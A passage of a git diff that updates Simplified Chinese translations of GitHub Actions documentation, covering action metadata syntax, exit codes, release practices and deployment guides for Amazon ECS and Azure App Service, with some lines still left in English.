   image: 'docker://debian:stretch-slim'
 ```
 
+
+
+
 ### `runs.using`
 
-**Required** You must set this value to `'docker'`.
+**必要** 必须将此值设置为 `'docker'`。
+
+
 
 ### `pre-entrypoint`
 
-**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**可选** 允许您在 `entrypoint` 操作开始之前运行脚本。 例如，您可以使用 `pre-entrypoint:` 运行基本要求设置脚本。 {% data variables.product.prodname_actions %} 使用 `docker run` 启动此操作，并在使用同一基本映像的新容器中运行脚本。 这意味着运行时状态与主 `entrypoint` 容器不同，并且必须在任一工作空间中访问所需的任何状态，`HOME` 或作为 `STATE_` 变量。 `pre-entrypoint:` 操作始终默认运行，但您可以使用 [`pre-if`](#pre-if) 覆盖该设置。
 
 The runtime specified with the [`using`](#runsusing) syntax will execute this file.
 
-In this example, the `pre-entrypoint:` action runs a script called `setup.sh`:
+在此示例中，`pre-entrypoint:` 操作会运行名为 `setup.sh` 的脚本：
+
+
 
 ```yaml
 runs:
@@ -374,23 +525,34 @@ runs:
   entrypoint: 'main.sh'
 ```
 
+
+
+
 ### `runs.image`
 
-**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file.
+**必要** 要用作容器来运行操作的 Docker 映像。 值可以是 Docker 基本映像名称、仓库中的本地 `Dockerfile`、Docker Hub 中的公共映像或另一个注册表。 要引用仓库本地的 `Dockerfile`，文件必须命名为 `Dockerfile`，并且您必须使用操作元数据文件的相对路径。 `Docker` 应用程序将执行此文件。
+
+
 
 ### `runs.env`
 
-**Optional** Specifies a key/value map of environment variables to set in the container environment.
+**可选** 指定要在容器环境中设置的环境变量的键/值映射。
+
+
 
 ### `runs.entrypoint`
 
-**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction.
+**可选** 覆盖 `Dockerfile` 中的 Docker `ENTRYPOINT`，或在未指定时设置它。 当 `Dockerfile` 未指定 `ENTRYPOINT` 或者您想要覆盖 `ENTRYPOINT` 指令时使用 `entrypoint`。 如果您省略 `entrypoint`，您在 Docker `ENTRYPOINT` 指令中指定的命令将执行。 Docker `ENTRYPOINT` 指令有 _shell_ 形式和 _exec_ 形式。 Docker `ENTRYPOINT` 文档建议使用 _exec_ 形式的 `ENTRYPOINT` 指令。
+
+有关 `entrypoint` 如何执行的更多信息，请参阅“[Dockerfile 对 {% data variables.product.prodname_actions %} 的支持](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)”。
+
 
-For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)."
 
 ### `post-entrypoint`
 
-**Optional**  Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because  {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`post-if`](#post-if).
+**可选** 允许您在 `runs.entrypoint` 操作完成后运行清理脚本。 {% data variables.product.prodname_actions %} 使用 `docker run` 来启动此操作。 因为  {% data variables.product.prodname_actions %} 使用同一基本映像在新容器内运行脚本，所以运行时状态与主 `entrypoint` 容器不同。 您可以在任一工作空间中访问所需的任何状态，`HOME` 或作为 `STATE_` 变量。 `post-entrypoint:` 操作始终默认运行，但您可以使用 [`post-if`](#post-if) 覆盖该设置。
+
+
 
 ```yaml
 runs:
@@ -402,21 +564,28 @@ runs:
   post-entrypoint: 'cleanup.sh'
 ```
 
+
+
+
 ### `runs.args`
 
-**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up.
+**可选** 定义 Docker 容器输入的字符串数组。 输入可包含硬编码的字符串。 {% data variables.product.prodname_dotcom %} 在容器启动时将 `args` 传递到容器的 `ENTRYPOINT`。
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+`args` 用来代替 `Dockerfile` 中的 `CMD` 指令。 如果在 `Dockerfile` 中使用 `CMD`，请遵循按偏好顺序排序的指导方针：
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell.
+如果需要将环境变量传递到操作中，请确保操作运行命令 shell 以执行变量替换。 例如，如果 `entrypoint` 属性设置为 `"sh -c"`，`args` 将在命令 shell 中运行。 或者，如果 `Dockerfile` 使用 `ENTRYPOINT` 运行同一命令 (`"sh -c"`)，`args` 将在命令 shell 中执行。
 
-For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)."
+有关将 `CMD` 指令与 {% data variables.product.prodname_actions %} 一起使用的更多信息，请参阅“[Dockerfile 对 {% data variables.product.prodname_actions %} 的支持](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)”。
 
-#### Example
+
+
+#### 示例
 
 {% raw %}
+
+
 ```yaml
 runs:
   using: 'docker'
@@ -426,13 +595,21 @@ runs:
     - 'foo'
     - 'bar'
 ```
+
+
 {% endraw %}
 
+
+
 ## `branding`
 
-You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
+您可以使用颜色和 [Feather](https://feathericons.com/) 图标创建徽章，以个性化和识别操作。 徽章显示在 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) 中的操作名称旁边。
+
+
+
+### 示例
+
 
-### Example
 
 ```yaml
 branding:
@@ -440,13 +617,18 @@ branding:
   color: 'green'
 ```
 
+
+
+
 ### `branding.color`
 
-The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`.
+徽章的背景颜色。 可以是以下之一：`white`、`yellow`、`blue`、`green`、`orange`、`red`、`purple` 或 `gray-dark`。
+
+
 
 ### `branding.icon`
 
-The name of the [Feather](https://feathericons.com/) icon to use.
+要使用的 [Feather](https://feathericons.com/) 图标的名称。
 
 <table>
 <tr>
diff --git a/translations/zh-CN/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/zh-CN/content/actions/creating-actions/releasing-and-maintaining-actions.md
index a75f639e0f..835ef553ff 100644
--- a/translations/zh-CN/content/actions/creating-actions/releasing-and-maintaining-actions.md
+++ b/translations/zh-CN/content/actions/creating-actions/releasing-and-maintaining-actions.md
@@ -17,7 +17,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
 After you create an action, you'll want to continue releasing new features while working with community contributions. This tutorial describes an example process you can follow to release and maintain actions in open source. The example:
 
@@ -72,7 +72,7 @@ Here is an example process that you can follow to automatically run tests, creat
 
    * We recommend creating releases using semantically versioned tags – for example, `v1.1.3` – and keeping major (`v1`) and minor (`v1.1`) tags current to the latest appropriate commit. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#using-release-management-for-actions)" and "[About semantic versioning](https://docs.npmjs.com/about-semantic-versioning).
 
-### Results
+### 结果
 
 Unlike some other automated release management strategies, this process intentionally does not commit dependencies to the `main` branch, only to the tagged release commits. By doing so, you encourage users of your action to reference named tags or `sha`s, and you help ensure the security of third party pull requests by doing the build yourself during a release.
 
@@ -82,12 +82,12 @@ Using semantic releases means that the users of your actions can pin their workf
 
 {% data variables.product.product_name %} provides tools and guides to help you work with the open source community. Here are a few tools we recommend setting up for healthy bidirectional communication. By providing the following signals to the community, you encourage others to use, modify, and contribute to your action:
 
-* Maintain a `README` with plenty of usage examples and guidance. For more information, see "[About READMEs](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)."
-* Include a workflow status badge in your `README` file. For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %}
+* Maintain a `README` with plenty of usage examples and guidance. 更多信息请参阅“[关于自述文件](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)”。
+* Include a workflow status badge in your `README` file. 更多信息请参阅“[添加工作流程状态徽章](/actions/managing-workflow-runs/adding-a-workflow-status-badge)”。 Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %}
 * Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. For more information, see "[Creating a default community health file](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)."{% endif %}
 * Keep issues current by utilizing actions like [actions/stale](https://github.com/actions/stale).
 
-## Further reading
+## 延伸阅读
 
 Examples where similar patterns are employed include:
 
diff --git a/translations/zh-CN/content/actions/creating-actions/setting-exit-codes-for-actions.md b/translations/zh-CN/content/actions/creating-actions/setting-exit-codes-for-actions.md
index 1b8f685951..9e229e9700 100644
--- a/translations/zh-CN/content/actions/creating-actions/setting-exit-codes-for-actions.md
+++ b/translations/zh-CN/content/actions/creating-actions/setting-exit-codes-for-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Setting exit codes for actions
-shortTitle: Setting exit codes
-intro: 'You can use exit codes to set the status of an action. {% data variables.product.prodname_dotcom %} displays statuses to indicate passing or failing actions.'
+title: 设置操作的退出代码
+shortTitle: 设置退出代码
+intro: '您可以使用退出代码来设置操作的状态。 {% data variables.product.prodname_dotcom %} 显示状态以指示操作通过还是失败。'
 redirect_from:
   - /actions/building-actions/setting-exit-codes-for-actions
 versions:
@@ -15,18 +15,18 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About exit codes
+## 关于退出代码
 
-{% data variables.product.prodname_dotcom %} uses the exit code to set the action's check run status, which can be `success` or `failure`.
+{% data variables.product.prodname_dotcom %} 使用退出代码设置操作的检查运行状态，可以是 `success` 或 `failure`。
 
-Exit status | Check run status | Description
-------------|------------------|------------
-`0` | `success` | The action completed successfully and other tasks that depends on it can begin.
-Nonzero value (any integer but 0)| `failure` | Any other exit code indicates the action failed. When an action fails, all concurrent actions are canceled and future actions are skipped. The check run and check suite both get a `failure` status.
+| 退出状态           | 检查运行状态    | 描述                                                                          |
+| -------------- | --------- | --------------------------------------------------------------------------- |
+| `0`            | `success` | 操作已成功完成，依赖它的其他操作可以开始。                                                       |
+| 非零值（0 除外的任何整数） | `failure` | 任何其他退出代码都表示操作失败。 当操作失败时，所有同时进行的操作都会取消，且跳过未来的操作。 检查运行和检查套件都将收到 `failure` 状态。 |
 
-## Setting a failure exit code in a JavaScript action
+## 在 JavaScript 操作中设置失败退出代码
 
-If you are creating a JavaScript action, you can use the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failure exit code. For example:
+如果要创建 JavaScript 操作，您可以使用操作工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包来记录消息并设置失败退出代码。 例如：
 
 ```javascript
 try {
@@ -36,11 +36,11 @@ try {
 }
 ```
 
-For more information, see "[Creating a JavaScript action](/articles/creating-a-javascript-action)."
+更多信息请参阅“[创建 JavaScript 操作](/articles/creating-a-javascript-action)”。
 
-## Setting a failure exit code in a Docker container action
+## 在 Docker 容器操作中设置失败退出代码
 
-If you are creating a Docker container action, you can set a failure exit code in your `entrypoint.sh` script. For example:
+如果要创建 Docker 容器操作，您可以在 `entrypoint.sh` 脚本中设置失败退出代码。 例如：
 
 ```
 if <condition> ; then
@@ -49,4 +49,4 @@ if <condition> ; then
 fi
 ```
 
-For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+更多信息请参阅“[创建 Docker 容器操作](/articles/creating-a-docker-container-action)”。
diff --git a/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md
index cf534d337e..cd04e735e6 100644
--- a/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md
+++ b/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md
@@ -40,13 +40,13 @@ You can configure your CD workflow to run when a {% data variables.product.produ
 
 {% endif %}
 
-## Workflow templates and third party actions
+## Starter workflows and third party actions
 
 {% data reusables.actions.cd-templates-actions %}
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Further reading
+## 延伸阅读
 
 - [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)
 - [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
diff --git a/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md
index 9bea24d6f4..5a949dba4d 100644
--- a/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md
+++ b/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md
@@ -17,9 +17,9 @@ shortTitle: Deploy with GitHub Actions
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-{% data variables.product.prodname_actions %} offers features that let you control deployments. You can:
+{% data variables.product.prodname_actions %} offers features that let you control deployments. 您可以:
 
 - Trigger workflows with a variety of events.
 - Configure environments to set rules before a job can proceed and to limit access to secrets.
@@ -27,9 +27,9 @@ shortTitle: Deploy with GitHub Actions
 
 For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)."
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+You should be familiar with the syntax for {% data variables.product.prodname_actions %}. 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
 ## Triggering your deployment
 
@@ -52,15 +52,15 @@ on:
   workflow_dispatch:
 ```
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。
 
-## Using environments
+## 使用环境
 
 {% data reusables.actions.about-environments %}
 
 ## Using concurrency
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time.
+Concurrency 确保只有使用相同并发组的单一作业或工作流程才会同时运行。 您可以使用并发，以便环境中每次最多有一个正在进行的部署和一个待处理的部署。
 
 {% note %}
 
@@ -132,15 +132,15 @@ jobs:
         # ...deployment-specific steps
 ```
 
-## Viewing deployment history
+## 查看部署历史记录
 
 When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
 
 ## Monitoring workflow runs
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
+每个工作流程运行都会生成一个实时图表，说明运行进度。 You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
 
-You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+You can also view the logs of each workflow run and the history of workflow runs. 更多信息请参阅“[查看工作流程运行历史记录](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)”。
 
 ## Tracking deployments through apps
 
@@ -152,7 +152,7 @@ You can also build an app that uses deployment and deployment status webhooks to
 
 {% ifversion fpt or ghes or ghec %}
 
-## Choosing a runner
+## 选择运行器
 
 You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
 
@@ -162,9 +162,9 @@ You can run your deployment workflow on {% data variables.product.company_short
 
 You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+更多信息请参阅“[添加工作流程状态徽章](/actions/managing-workflow-runs/adding-a-workflow-status-badge)”。
 
-## Next steps
+## 后续步骤
 
 This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows.
 
diff --git a/translations/zh-CN/content/actions/deployment/about-deployments/index.md b/translations/zh-CN/content/actions/deployment/about-deployments/index.md
index 3267edb591..89456a53a4 100644
--- a/translations/zh-CN/content/actions/deployment/about-deployments/index.md
+++ b/translations/zh-CN/content/actions/deployment/about-deployments/index.md
@@ -4,9 +4,10 @@ shortTitle: About deployments
 intro: 'Learn how deployments can run with {% data variables.product.prodname_actions %} workflows.'
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 children:
   - /about-continuous-deployment
   - /deploying-with-github-actions
 ---
+
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
index a92d22c49c..a46011c0eb 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Amazon Elastic Container Service
-intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows.
+title: 部署到 Amazon Elastic Container Service
+intro: 您可以部署到 Amazon Elastic Container Service (ECS)，作为持续部署 (CD) 工作流程的一部分。
 redirect_from:
   - /actions/guides/deploying-to-amazon-elastic-container-service
   - /actions/deployment/deploying-to-amazon-elastic-container-service
@@ -14,13 +14,13 @@ topics:
   - CD
   - Containers
   - Amazon ECS
-shortTitle: Deploy to Amazon ECS
+shortTitle: 部署到 Amazon ECS
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch.
 
@@ -36,18 +36,16 @@ On every new push to `main` in your {% data variables.product.company_short %} r
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要对 Amazon ECR 和 ECS 完成以下设置步骤：
 
-1. Create an Amazon ECR repository to store your images.
+1. 创建 Amazon ECR 仓库以存储映像。
 
-   For example, using [the AWS CLI](https://aws.amazon.com/cli/):
+   例如，使用 [AWS CLI](https://aws.amazon.com/cli/)：
 
    {% raw %}```bash{:copy}
-   aws ecr create-repository \
-       --repository-name MY_ECR_REPOSITORY \
-       --region MY_AWS_REGION
+   aws ecr create-repository \ --repository-name MY_ECR_REPOSITORY \ --region MY_AWS_REGION
    ```{% endraw %}
 
    Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below.
@@ -163,14 +161,14 @@ jobs:
           wait-for-service-stability: true{% endraw %}
 ```
 
-## Additional resources
+## 其他资源
 
 For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
 
-For more information on the services used in these examples, see the following documentation:
+有关这些示例中使用的服务的详细信息，请参阅以下文档：
 
-* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation.
-* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action.
-* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action.
-* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action.
-* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action.
+* Amazon AWS 文档中的“[IAM 中的安全最佳实践](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)”。
+* 正式 AWS“[配置 AWS 凭据](https://github.com/aws-actions/configure-aws-credentials)”操作。
+* 正式 AWS [Amazon ECR“登录”](https://github.com/aws-actions/amazon-ecr-login)操作。
+* 正式 AWS [Amazon ECS“渲染任务定义”](https://github.com/aws-actions/amazon-ecs-render-task-definition)操作。
+* 正式 AWS [Amazon ECS“部署任务定义”](https://github.com/aws-actions/amazon-ecs-deploy-task-definition)操作。
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
index 8133adef88..64a13ccf0b 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
@@ -17,7 +17,7 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -31,13 +31,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. 创建 Web 应用。
 
    For example, you can use the Azure CLI to create an Azure App Service web app:
 
@@ -49,13 +49,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --deployment-container-image-name nginx:latest
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   在上面的命令中，将参数替换为您自己的值，其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
 1. Set registry credentials for your web app.
 
-   Create a personal access token with the `repo` and `read:packages` scopes. For more information, see "[Creating a personal access token](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+   Create a personal access token with the `repo` and `read:packages` scopes. 更多信息请参阅“[创建个人访问令牌](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。
 
    Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your personal access token from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command:
 
@@ -70,13 +70,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created.
+确保在工作流程 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为您创建的 web 应用程序名称。
 
 {% data reusables.actions.delete-env-key %}
 
@@ -144,10 +144,10 @@ jobs:
             images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}'
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* 用于部署 Web 应用的操作是正式的 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
index 7959f41764..2b5cf2e243 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
@@ -17,7 +17,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -31,13 +31,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. 创建 Web 应用。
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime:
 
@@ -49,7 +49,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "JAVA|11-java11"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   在上面的命令中，将参数替换为您自己的值，其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -57,13 +57,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`.
+确保在工作流程 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为您创建的 web 应用程序名称。 If you want to use a Java version other than `11`, change `JAVA_VERSION`.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -125,10 +125,10 @@ jobs:
           package: '*.jar'
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* 用于部署 Web 应用的操作是正式的 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
